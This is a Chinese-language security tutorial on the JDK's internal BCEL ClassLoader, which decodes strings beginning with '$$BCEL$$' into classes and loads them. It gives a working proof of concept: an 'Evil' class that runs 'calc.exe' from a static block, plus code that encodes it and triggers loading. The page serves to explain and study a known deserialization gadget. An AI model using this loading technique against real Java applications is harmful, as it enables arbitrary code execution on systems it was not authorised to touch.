一、概述
BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。Apache Commons大家应该不陌生,反序列化最著名的利用链就是出自于其另一个子项目——Apache Commons Collections。
就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel。
二、BCEL ClassLoader如何使用
BCEL这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()方法。
-
在ClassLoader#loadClass()中,接受一个String并且判断类名是否是$$BCEL$$开头,如果是的话,调用createClass方法。
-
此方法中将会对这个字符串截取$$BCEL$$后面的字符串进行decode,解码后经过一些列处理后返回clazz,也就是javaclass。
-
当我们的字节码加载完成javaclass后,如果不为空,即调用definClass方法动态加载。
既然存在decode,那我们看一下encode是如何编码的。
-
JavaWrite#write方法如下:
基本可以理解为是传统字节码的HEX编码,再将反斜线替换成$。默认情况下外层还会加一层GZip压缩。
测试:
public class Evil {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {}
}
}
然后将Evil生成BCEL形式的字节码。使用这个字节码来新建对象,将会调用到计算器。
实战中我们可以通过BCEL提供的两个类Repository 和Utility 来利用: Repository 用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码; Utility 用于将原生的字节码转换成BCEL格式的字节码:
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
public class EvilBCEL {
public static void main(String[] args) throws Exception {
//方式一:
// JavaClass cls = Repository.lookupClass(Evil.class);
// String code = Utility.encode(cls.getBytes(), true);
// System.out.println(code);
// new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
//方式二:
byte[] codebyte =Files.readAllBytes(Paths.get("C:\\tools\\fuxian\\TestDemo\\src\\main\\java\\com\\huawei\\ClassLoader\\Evil.class"));
String code2 = Utility.encode(codebyte, true);
System.out.println(code2);
new ClassLoader().loadClass("$$BCEL$$" + code2).newInstance();
}
}
注意:
在Java 8u251的更新中,这个ClassLoader被移除了